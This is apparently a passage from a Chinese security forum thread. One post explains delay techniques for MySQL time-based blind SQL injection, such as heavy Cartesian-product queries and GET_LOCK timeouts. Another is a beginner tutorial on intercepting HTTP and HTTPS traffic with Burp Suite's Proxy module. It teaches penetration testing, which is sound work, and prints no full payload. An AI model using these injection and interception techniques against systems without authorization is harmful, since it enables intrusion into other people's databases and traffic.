heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算,


终于找到了这个MySQL中的方式,此方式与oracle中的查询all_object方式类似,详情转oracle注入文章


,如下

get_lock()函数

加锁函数get_lock(),语法为

  1. GET_LOCK(key, timeout)
复制代码
解锁函数release_lock(),语法为
  1. RELEASE_LOCK(key)
复制代码

GET_LOCK有两个参数,一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s),即获取锁失败后等待多久回滚事务。

简单来说,在一个客户端加锁之后想在另外一个客户端对同样的key加锁,需要等待这个timeout,实例操作顺序如下

实际例子,如下图




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

139

帖子

588

积分

高级会员

Rank: 4

积分
588
 楼主| 发表于 2020-5-20 23:56:45 | 显示全部楼层

今天是Burpsuit得学习

我们常用的模块有Proxy Spider Scanner Intruder Repeater Decoder

下面先从Proxy开始介绍并进行最简单的实操

这就是Proxy的主界面我们可以看到他分为几个版块我们从这4个板块开始学起

Intercept

整个burp suite的使用最多的我认为就是这个位置,不多说,我们来实操完成第一个数据包的抓取

我们点击Options

默认是127.0.0.1:8080如果你的没有自己设置的话,那就添加就好了

我们打开浏览器,这里我用得是神行浏览器 就不用设置代理问题了

然后我们就可以抓取第一个请求包了,到这里我们的第一部分算是成功的完成


这里我们发现咱们只能抓到http的包,抓不到https的,那么我现在为大家演示https的配置

首先我们访问127.0.0.1:8080

我们保存CA证书在burpsuie的设置内导入

点击查看证书然后在机构这个位置导入我们的证书就可以了

那么我们现在就对Proxy这个版块进行了解

这四个模块分别是"截断请求","HTTP历史""Stokets历史""选项"

下面我们来看一下intercept这个窗口,为了方便演示我们抓取访问百度的请求

Forward:将请求包发送

Drop:丢掉请求包

Intercept is on/off:截断的开关

Action对请求包的一些操作

我们对包体的任何修改都可以在这个窗口内进行直接修改,然后发送

我们这里要介绍一下Action这个按钮

这是几个功能我们暂且不管平时我们经常用的保存文件等操作,前7个包括Do Active scan都是我们对包体的操作,会直接把请求发送给你制定的模块,这也给我们带来了很大的放遍,比如我们可以对数据包进行重放等操作,

然后就是我们的Copy as curl command可以直接生成一个curl的命令是比较有用的功能,然后就是我们的Engagement tools中的csrf poc生成,我在前面的文章提过这个工具能够给我们免去很多不必要的工作,简直是必备神器

然后我们要介绍一下包体的查看模式一共分为4种,我们正常时使用Raw模式还有Params模式也就是以参数为主题的模式

我们可以在右边对参数进行增删移动

第三个是haeder模块这个就是我们的请求头

和我们的Params模块很像

第四个是Hex模式也就是以16进制的形式查看我们的数据

那么如上就是我们的Intercept模块了

下面我们介绍http history模块

这个模块里面是我们打开burpsuite代理以来所有的http请求,我们有时候验证漏洞成功了但是复现不成功这种场景都可以在这里面进行请求的回看

下面我们要介绍的是socket history

这里面记录这我们的socket链接记录,但是在web渗透测试过程中使用此模块比较少

最后一个模块就是我们的options选项了

在这里我们可以设置请求的监听和拦截截断客户段的请求和服务端的返回以及websocket 请求的截断

等等很多功能

我们这里介绍一下Proxy lisener

在此处我们可以修改我们监听的ip和端口,有时候我们burpsuite的请求包截取不到可能就是因为此处有问题,端口冲突等等,我们在burpsuite的使用中每一次基本都要用到Proxy模块,我们在实战中可以继续练习我们的burpsuite使用,正所谓实践出真知





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 02:36 , Processed in 0.021122 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表